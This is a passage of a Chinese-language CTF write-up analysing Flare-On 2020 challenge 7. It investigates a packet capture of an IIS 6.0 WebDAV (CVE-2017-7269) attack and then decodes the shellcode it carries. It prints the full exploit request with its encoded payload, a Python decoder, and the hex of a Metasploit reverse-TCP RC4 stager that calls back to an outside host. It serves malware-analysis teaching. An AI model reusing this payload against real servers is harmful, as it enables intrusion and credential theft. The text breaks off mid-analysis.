揭秘Metasploit载荷：提取与逆向分析（Flare-On 2020挑战赛第7题）

本文详细解析了Flare-On 2020挑战赛第7题，涉及从网络流量中提取Metasploit载荷、逆向分析shellcode结构、解密RC4加密数据，并最终获取泄露的服务器凭证文件内容。

Imposter Alert: Extracting and Reversing Metasploit Payloads (Flare-On 2020 Challenge 7)

我最近参加了FireEye的第七届年度Flare-On挑战赛，这是一个逆向工程和恶意软件分析的夺旗赛（CTF）。在11个挑战中，从典型可执行文件到用异域编程语言编写的游戏，我最喜欢第7题。它展示了一个安全漏洞的两阶段网络流量捕获。由于我主要在红队工作，我很享受从蓝队角度调查Metasploit内部结构和shellcode的机会。

作为恶意软件分析的新手，我经常对教程感到困惑，这些教程从A到Z，但没有解释思考过程或使用的工具。我希望我对第7题的详细演练对其他新手有用。

初始分类 🔗

挑战从以下消息开始：

你好， 在Reynholm Industries，我们为一切感到自豪。 虽然不容易承认，但我们最近有一台最有价值的服务器被入侵了。 我们不相信主机监控，所以我们只有一个网络数据包捕获。 我们需要你调查并确定是否有数据从服务器被提取。 谢谢。

我开始只有一个re_crowd.pcapng网络流量捕获文件。首先，我把它放入VirusTotal，一个文件扫描器和防病毒聚合器，检查是否触发了任何Suricata/Snort警报以快速获胜。

尽管流量没有触发任何警报，但VirusTotal的一个防病毒引擎检测到了利用shellcode，所以我确保留意这一点。接下来，我在Wireshark中打开了网络流量捕获文件，这是一个网络协议分析器。

快速浏览网络流量显示，它主要是往返于it-dept.reynholm-industries.com（192.168.68.1）的HTTP流量。我通过导出所有HTTP对象（文件 > 导出对象 > HTTP）到一个文件夹，将%5c文件重命名为index.html并打开它，查看了服务器上的Web应用程序。

从结果来看，服务器似乎托管了一个公司论坛线程。根据Jen的帖子，她创建了一个C:\accounts.txt文件，其中包含服务器上每个人的凭据。这是个坏主意，Jen！

识别感染向量 🔗

现在我对情况有了更好的了解，我仔细查看了HTTP流量。我喜欢使用以下过滤器来获取最常见的Web流量类型（HTTP/HTTPS/DNS）：(http.request or ssl.handshake.type == 1 or tcp.flags eq 0x0002 or dns) and !(udp.port eq 1900)。我注意到192.168.68.21向服务器发送了一系列PROPFIND请求。我通过右键单击第一个PROPFIND请求 > 跟随 > HTTP流提取了完整的HTTP请求：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14

PROPFIND / HTTP/1.1
Host: 192.168.68.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Content-Length: 0

HTTP/1.1 207 Multi-Status
Date: Thu, 16 Jul 2020 20:19:53 GMT
Server: Microsoft-IIS/6.0
MicrosoftOfficeWebServer: 5.0_Pub
X-Powered-By: ASP.NET
Content-Type: text/xml
Transfer-Encoding: chunked

<?xml version="1.0"?><a:multistatus xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/" xmlns:c="xml:" xmlns:a="DAV:"><a:response><a:href>http://192.168.68.1/</a:href><a:propstat><a:status>HTTP/1.1 200 OK</a:status><a:prop><a:getcontentlength b:dt="int">0</a:getcontentlength><a:creationdate b:dt="dateTime.tz">2020-06-05T14:21:13.801Z</a:creationdate><a:displayname>/</a:displayname><a:getetag>"54af82a5443bd61:3b2"</a:getetag><a:getlastmodified b:dt="dateTime.rfc1123">Fri, 05 Jun 2020 14:21:47 GMT</a:getlastmodified><a:resourcetype><a:collection/></a:resourcetype><a:supportedlock/><a:ishidden b:dt="boolean">0</a:ishidden><a:iscollection b:dt="boolean">1</a:iscollection><a:getcontenttype/></a:prop></a:propstat></a:response></a:multistatus>

从Server头，我可以看出论坛运行在Microsoft IIS 6.0服务器上。检查第二个PROPFIND请求时，我发现了更有趣的东西：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16

PROPFIND / HTTP/1.1
Host: 192.168.68.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Content-Length: 0
If: <http://192.168.68.1:80/AFRPWWBVQzHpAERtoPGOxDTKYBGmrxqhVCdIGMmNDzefUMySmeCdKhFobQXIDkhgEpnMeUniloxaFrfDCCBprACtWhHkrCVphXAmetqJqxATcnu............................................................................................................................> (Not <locktoken:write1>) <http://192.168.68.1:80/oxamUvbohSEvpUpVuakwGpSnAQoMYMshqrvwwjFDLrhpIfQlgCdAlvwhrhCpWoKXCgOMkAbpjBnwLDdfCGcxCAyShpvGEmVwncZIIFDjgilqkGt.........................................................................................................................................................................................................................................................................VVYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALAYAIAQAIAQAIAhAAAZ1AIAIAJ11AIAIABABABQI1AIQIAIQI111AIAJQYAZBABABABABkMAGB9u4JBYlHharm0ipIpS0u9iUMaY0qTtKB0NPRkqBLLBkPRMDbksBlhlOwGMzmVNQkOTlmlQQqllBLlMPGQVoZmjaFgXbIbr2NwRk1BzpDKmzOLtKPLjqqhJCa8za8QPQtKaImPIqgctKMyZxk3MjniRkMddKM16vnQYoVLfaXOjm9quwP8Wp0ul6LCqm9hOKamNDCEGtnxBkOhMTKQVs2FtKLLPKdKNxKlYqZ3tKLDDKYqXPdIq4nDnDokqKS1pY1Jb1yoK0Oo1OQJbkZrHkrmaMbHLsLrYpkPBHRWrSlraO1DS8nlbWmVkW9oHUtxV0M1IpypKyi4Ntb0bHNIu00kypioIENpNpPP201020a0npS8xjLOGogpIoweF7PjkUS8Upw814n5PhLBipjqqLriXfqZlPr6b7ph3iteadqQKOweCUEpd4JlYopN9xbUHl0hzPWEVBR6yofu0j9pQZkTqFR7oxKRyIfhoo9oHUDKp63QZVpKqH0OnrbmlN2JmpoxM0N0ypKP0QRJipphpX6D0Sk5ioGeBmDX9pkQ9pM0r3R6pPBJKP0Vb3B738KRxYFh1OIoHU9qUsNIUv1ehnQKqIomr5Og4IYOgxLPkPM0yp0kS9RLplaUT22V2UBLD4RUqbs5LqMbOC1Np1gPdjkNUpBU9k1q8oypm19pM0NQyK9rmL9wsYersPK2LOjbklmF4JztkWDFjtmObhMDIwyn90SE7xMa7kKN7PYrmLywcZN4IwSVZtMOqxlTLGIrn4ko1zKdn7P0B5IppEmyBUjEaOUsAA>

HTTP/1.1 500 Internal Server Failure
Connection: close
Date: Thu, 16 Jul 2020 20:19:53 GMT
Server: Microsoft-IIS/6.0
MicrosoftOfficeWebServer: 5.0_Pub
X-Powered-By: ASP.NET
Content-Type: text/html
Content-Length: 67

<body><h1>HTTP/1.1 500 Internal Server Error(exception)</h1></body>

192.168.68.21发送了一个长的If头，包含一个可疑的base64字符串，并导致服务器错误。谷歌搜索这个字符串的部分内容，如VVYAIAIAIAIAIAIAIAIAIAIAIAIAIAIA，把我带到了一个关于IIS 6.0 WebDAV CVE-2017-7269漏洞的博客文章和Alpha2载荷编码器的GitHub页面。一点也不可疑！这看起来是我们的初始感染向量。

提取第一个载荷 🔗

关于CVE-2017-7269漏洞利用有几篇写-up，包括一篇Fortinet博客文章，它提供了一个有用的Python解码器用于base64载荷。

从请求中提取大的base64字符串，我移除了初始解码器存根（VVYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALAYAIAQAIAQAIAhAAAZ1AIAIAJ11AIAIABABABQI1AIQIAIQI111AIAJQYAZBABABABABkMAGB9u4JB），然后将其插入一个适应版本的解码器：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43

# https://github.com/axfla/Metasploit-AlphanumUnicodeMixed-decoder

import string

# UTF-8 encoded bytes of the shellcode
encoded_bytes = "YlHharm0ipIpS0u9iUMaY0qTtKB0NPRkqBLLBkPRMDbksBlhlOwGMzmVNQkOTlmlQQqllBLlMPGQVoZmjaFgXbIbr2NwRk1BzpDKmzOLtKPLjqqhJCa8za8QPQtKaImPIqgctKMyZxk3MjniRkMddKM16vnQYoVLfaXOjm9quwP8Wp0ul6LCqm9hOKamNDCEGtnxBkOhMTKQVs2FtKLLPKdKNxKlYqZ3tKLDDKYqXPdIq4nDnDokqKS1pY1Jb1yoK0Oo1OQJbkZrHkrmaMbHLsLrYpkPBHRWrSlraO1DS8nlbWmVkW9oHUtxV0M1IpypKyi4Ntb0bHNIu00kypioIENpNpPP201020a0npS8xjLOGogpIoweF7PjkUS8Upw814n5PhLBipjqqLriXfqZlPr6b7ph3iteadqQKOweCUEpd4JlYopN9xbUHl0hzPWEVBR6yofu0j9pQZkTqFR7oxKRyIfhoo9oHUDKp63QZVpKqH0OnrbmlN2JmpoxM0N0ypKP0QRJipphpX6D0Sk5ioGeBmDX9pkQ9pM0r3R6pPBJKP0Vb3B738KRxYFh1OIoHU9qUsNIUv1ehnQKqIomr5Og4IYOgxLPkPM0yp0kS9RLplaUT22V2UBLD4RUqbs5LqMbOC1Np1gPdjkNUpBU9k1q8oypm19pM0NQyK9rmL9wsYersPK2LOjbklmF4JztkWDFjtmObhMDIwyn90SE7xMa7kKN7PYrmLywcZN4IwSVZtMOqxlTLGIrn4ko1zKdn7P0B5IppEmyBUjEaOUsAA"

l = len(encoded_bytes)/2

decoded_bytes = str()

for i in range(l):

    # iterating on even numbers as beginning of the block
    block = encoded_bytes[i*2:i*2+2]

    # returns the Unicode code point and masks by the lower 4 bits
    decoded_byte_low = ord(block[1]) & 0x0F

    # block[1]'s Unicode code point, bitshifted 4 bits to the right
    # block[0]'s Unicode code point, masked by the lower 4 bits
    # sum is masked by the lower 4 bits
    decoded_byte_high = ((ord(block[1]) >> 4) + (ord(block[0]) & 0x0F)) & 0x0F

    # chr() returns the ASCII character associated to the code point
    decoded_byte = chr(decoded_byte_low + (decoded_byte_high << 4))

    decoded_bytes += decoded_byte

printable_decoded_bytes = ''.join(
    c for c in decoded_bytes if c in string.printable)

# ASCII display
print printable_decoded_bytes

# hexadecimal display
b = bytearray(decoded_bytes)

print ''.join('{:02x}'.format(x) for x in b).upper()

f = open('output.bin', 'w')
f.write(decoded_bytes)
f.close()

可打印输出包含一个有趣的killervulture123字符串，以及其他内容：

1
2
3
4

`1dP0RRr(J&1<a|, 
RWRJ<LxHQY I:I41
8u};}$uXX$fKXD$$[[aYZQ__Z]h32hws2_ThLw&)TPh)kPPPP@P@PhjhDh\jVWhtatNuhVjjVWh_6KXORj@hQjhXSSVPjVSWh_)u[Y]UWkillervulture123^1u1u10UEIu_Q
FCE8820000006089E531C0648B50308B520C8B52148B72280FB74A2631FFAC3C617C022C20C1CF0D01C7E2F252578B52108B4A3C8B4C1178E34801D1518B592001D38B4918E3A498B348B01D631FFACC1CF0D01C738E075F6037DF83B7D2475E4588B582401D3668B0C4B8B581C01D38B048B01D0894424245B5B61595A51FFE05F5F5A8B12EB8D5D6833320000687773325F54684C772607FFD5B89001000029C454506829806B00FFD5505050504050405068EA0FDFE0FFD5976A0568C0A84415680200115C89E66A1056576899A57461FFD585C0740CFF4E0875EC68F0B5A256FFD56A006A0456576802D9C85FFFD58B3681F64B584F528D0E6A406800100000516A006858A453E5FFD58D98000100005356506A005653576802D9C85FFFD501C329C675EE5B595D555789DFE8100000006B696C6C657276756C747572653132335E31C0AAFEC075FB81EF0001000031DB021C0789C280E20F021C168A140786141F881407FEC075E831DBFEC0021C078A140786141F88140702141F8A1417305500454975E55FC351

分析第一个载荷 🔗

尽管我怀疑base64字符串是一个Meterpreter载荷，因为Alpha2编码器和Metasploit之间的紧密联系，但尽职调查总是必要的，尤其是在处理恶意软件样本时。我再次使用VirusTotal扫描了字符串。

哎呀！在谷歌搜索"\xfc\xe8\x86\x00\x00\x00\x60\x89" meterpreter（shellcode的前8个字节）后，我最终来到了一个Metasploit Github问题，表明它可能是windows/meterpreter/reverse_tcp载荷。不幸的是，进一步的检查推翻了这一假设，因为我发现shellcode的后半部分不同。深入挖掘，我遇到了一个Metasploit拉取差异，用于modules/payloads/stagers/windows/reverse_tcp_rc4.rb，它与shellcode几乎完美匹配！

当我将载荷与Meterpreter的反向TCP shellcode比较时，只有一些差异：

1
2
3
4

payload:     \xc0\xa8\x44\x15 => (+ 转换为十进制) 192 168 68 21
meterpreter: \x7F\x00\x00\x01 => (+ 转换为十进制) 127 0 0 1
payload:     \x4b\x58\x4f\x52 => KXOR
meterpreter
comments powered by Disqus
© 2020 - 2025 qife
使用 Hugo 构建
主题 Stack 由 Jimmy 设计
本站总访问量次 本站访客数人次